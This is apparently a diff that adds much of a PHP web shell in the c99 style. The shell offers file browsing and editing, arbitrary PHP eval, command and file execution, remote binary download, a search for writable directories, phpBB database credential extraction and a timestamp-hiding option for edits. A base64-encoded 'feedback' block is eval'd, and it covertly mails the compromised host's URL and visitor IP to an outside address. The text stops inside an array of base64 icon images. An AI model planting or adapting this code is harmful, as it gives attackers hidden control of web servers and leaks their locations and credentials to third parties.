= "\"Info\" \"Change\" \"Download\" ".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "
        .: "; + if (!empty($fx_infohead)) { echo $fx_infohead; } + else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } + echo " :.
        \n"; + echo "
        ". + ""; + foreach($table as $row) { + echo ""; + foreach($row as $v) {echo "";} + echo "\r\n"; + } + echo "
        ".$v."
        ". + "". + "
        ". + "  ". + ""; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { + echo "                  "; + } + echo " 
        "; + echo "
        "; + } +} +if ($antisec == "tools") +{ +} +if ($antisec == "phpfsys") { + echo "
        "; + $fsfunc = $pohpfsysfunc; + if ($fsfunc=="copy") { + if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} + else { echo "Success! $arg1 copied to $arg2\n"; } + } + elseif ($fsfunc=="rename") { + if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} + else { echo "Success! $arg1 renamed/moved to $arg2\n"; } + } + elseif ($fsfunc=="chmod") { + if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} + else { echo "Perm for $arg1 changed to $arg2!\n"; } + } + elseif ($fsfunc=="read") { + $hasil = @file_get_contents($arg1); + echo "Filename: $arg1
        "; + echo "\n"; + } + elseif ($fsfunc=="write") { + if(@file_put_contents($d.$arg1,$arg2)) { + echo "Saved! ".$d.$arg1; + } + else { echo "
        Couldn't write to $arg1!
        "; } + } + elseif ($fsfunc=="downloadbin") { + $handle = fopen($arg1, "rb"); + $contents = ''; + while (!feof($handle)) { + $contents .= fread($handle, 8192); + } + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$contents)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "
        Couldn't write to ".$d.$arg2."!
        "; } + fclose($r); + fclose($handle); + } + elseif ($fsfunc=="download") { + $text = implode('', file($arg1)); + if ($text) { + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$text)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "
        Couldn't write to ".$d.$arg2."!
        "; } + fclose($r); + } + else { echo "
        Couldn't download from $arg1!
        ";} + } + elseif ($fsfunc=='mkdir') { + $thedir = $d.$arg1; + if ($thedir != $d) { + if (file_exists($thedir)) { echo "Already exists: ".htmlspecialchars($thedir); } + elseif (!mkdir($thedir)) { echo "Access denied: ".htmlspecialchars($thedir); } + else { echo "Dir created: ".htmlspecialchars($thedir);} + } + else { echo "Couldn't create current dir: $thedir"; } + } + elseif ($fsfunc=='fwritabledir') { + function recurse_dir($dir,$max_dir) { + global $dir_count; + $dir_count++; + if( $cdir = @dir($dir) ) { + while( $entry = $cdir-> read() ) { + if( $entry != '.' && $entry != '..' ) { + if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { + if ($dir_count > $max_dir) { return; } + echo "[".$dir_count."] ".$dir.$entry."\n"; + recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); + } + } + } + $cdir->close(); + } + } + if (!$arg1) { $arg1 = $d; } + if (!$arg2) { $arg2 = 10; } + echo "Writable directories (Max: $arg2) in: $arg1
        "; + echo "
        ";
        +    recurse_dir($arg1,$arg2);
        +    echo "
        "; + $total = $dir_count - 1; + echo "Founds: ".$total." of Max $arg2"; + } + else { + if (!$arg1) { echo "
        No operation! Please fill parameter [A]!
        \n"; } + else { + if ($hasil = $fsfunc($arg1)) { + echo "Result of $fsfunc $arg1:
        "; + if (!is_array($hasil)) { echo "$hasil\n"; } + else { + echo "
        ";
        +          foreach ($hasil as $v) { echo $v."\n"; }
        +          echo "
        "; + } + } + else { echo "
        $fsfunc $arg1 failed!
        \n"; } + } + } + echo "
        \n"; +} +if ($antisec == "processes") { + echo "
        .: Processes :.
        "; + if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); } + else { $handler = "tasklist"; } + $ret = s3x3c($handler); + if (!$ret) { echo "Can't execute \"".$handler."\"!"; } + else { + if (empty($porocesses_sort)) {$porocesses_sort = $sort_default;} + $poarsesort = parsesort($porocesses_sort); + if (!is_numeric($poarsesort[0])) {$poarsesort[0] = 0;} + $k = $poarsesort[0]; + if ($poarsesort[1] != "a") { + $y = ""; + } + else { + $y = ""; + } + $ret = htmlspecialchars($ret); + if (!$win) { + if ($poid) { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$poid."... "; + if (posix_kill($poid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i".$head[$i]."";} + } + $porcs = array(); + foreach ($stack as $line) { + if (!empty($line)) { + echo "
        "; + foreach($tab as $i=>$k) { + echo ""; + foreach($k as $j=>$v) { + if ($win and $i > 0 and $j == 4) {$v = view_size($v);} + echo ""; + } + echo ""; + } + echo "
        ".$v."
        "; + } +} +if ($antisec == "eval") { + if (!empty($eval)) { + echo "Result of execution this PHP-code:
        "; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "
        "; + } + else {echo $ret."
        ";} + } + else { + if ($eval_txt) { + echo "
        "; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "PHP-code Execution (Use without PHP Braces!)"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "


         Display in text-area 
        "; +} +if ($antisec == "f") { + echo "
        "; + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { + if (file_exists($d.$f)) {echo "
        Permision denied (".htmlspecialchars($d.$f).")!
        ";} + else {echo "
        File does not exists (".htmlspecialchars($d.$f).")!
        Create
        ";} + } + else { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("","info"), + array("","html"), + array("","txt"), + array("Code","code"), + array("Session","phpsess"), + array("","exe"), + array("SDB","sdb"), + array("","img"), + array("","ini"), + array("","download"), + array("","notepad"), + array("","edit") + ); + echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".v13w_p3rm5_color($d.$f)."
        Select action/file-type:
        "; + foreach($arr as $t) { + if ($t[1] == $rft) {echo " ".$t[0]."";} + elseif ($t[1] == $ft) {echo " ".$t[0]."";} + else {echo " ".$t[0]."";} + echo " (+) |"; + } + $feedback="Ly8gMW1wbDNtM243IGYzM2RiNGNrIDBuIHYzcjUxMG4gdi4wLjYsIDR3NDE3IQokdmlzaXRjb3VudCA9ICRIVFRQX0NPT0tJRV9WQVJTWyJ2aXNpdHMiXTsgaWYoICR2aXNpdGNvdW50ID09ICIiKSB7JHZpc2l0Y291bnQgPSAwOyAkU3VibTE3NzNyID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07ICR3M2IgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07ICRoMHM3ID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICR0MCA9IHJhd3VybGRlY29kZSgkdzNiLiRoMHM3KTsgJGIwZHkgPSAiN2gzcjMgMXMgZjMzZGI0Y2sgZjByIHkwdSAiLiAkdGFyZ2V0IC4gIiBieSAiIC4gJFN1Ym0xNzczcjsgbWFpbCgiMGQ0eUBtYWlsLnJ1IiwiQVNTIHYwLjUgaHR0cDovLyR0MCBieSAkU3VibTE3NzNyIiwgJGIwZHkpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOwovLyA3aDRuazUgZjByIHkwdXIgNXVwcDByNw=="; + eval(base64_decode($feedback)); + echo "
        "; + if ($ft == "info") { + echo "Information:"; + if (!$win) { + echo "
        Path ".$d.$f."
        Size ".view_size(filesize($d.$f))."
        MD5 ".md5_file($d.$f)."
        Owner/Group "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "
        Perms".v13w_p3rm5_color($d.$f)."
        Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
        Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
        MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
        "; + $fi = fopen($d.$f,"rb"); + if ($fi) { + if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} + else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000
        "; + $a1 = ""; + $a2 = ""; + for ($i=0; $i";} + $a1 .= "
        "; + $a2 .= "
        "; + } + } + echo "". + "". + "". + "". + "
        ".$a0."".$a1."".$a2."

        "; + } + $encoded = ""; + if ($base64 == 1) { + echo "Base64 Encode
        "; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) { + echo "Base64 Encode + Chunk
        "; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) { + echo "Base64 Encode + Chunk + Quotes
        "; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "
        "; + } + if (!empty($encoded)) + { + echo "

        "; + } + echo "HEXDUMP: [Full] [Preview]
        Base64: +
        [Encode + [+chunk + [+chunk+quotes + [Decode +

        "; + } + elseif ($ft == "html") { + if ($white) {@ob_clean();} + echo $r; + if ($white) {ass5h3x17();} + } + elseif ($ft == "txt") {echo "

        ".htmlspecialchars($r)."
        ";} + elseif ($ft == "ini") {echo "
        "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
        ";} + elseif ($ft == "phpsess") { + echo "
        ";
        +   $v = explode("|",$r);
        +   echo $v[0]."
        "; + var_dump(unserialize($v[1])); + echo "
        "; + } + elseif ($ft == "exe") { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "Execute file:

        Display in text-area
        "; + } + elseif ($ft == "sdb") {echo "
        "; var_dump(unserialize(base64_decode($r))); echo "
        ";} + elseif ($ft == "code") { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { + $arr = explode("\n",$r); + if (count($arr == 18)) { + include($d.$f); + echo "phpBB configuration is detected in this file!
        "; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "Connect to DB

        ";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";} + echo "Parameters for manual connect:
        "; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
        ";} + echo "

        "; + } + } + echo "
        "; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {ass5h3x17();} + echo "
        "; + } + elseif ($ft == "download") { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") { + $inf = getimagesize($d.$f); + if (!$white) { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "
        Size: "; + $sizes = array("100","50","20"); + foreach ($sizes as $v) { + echo ""; + if ($imgsize != $v ) {echo $v;} + else {echo "".$v."";} + echo "   "; + } + echo "

        "; + } + else { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "Can't write to file!";} + else + { + echo "Saved!"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "
          
        "; + } + elseif (!empty($ft)) {echo "
        Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
        ";} + else {echo "
        Unknown extension (".$ext."), please, select type manually.
        ";} +} +echo "
        \n"; +} +} +// 7hx 1n73rn37! +else { +@ob_clean(); +$images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". 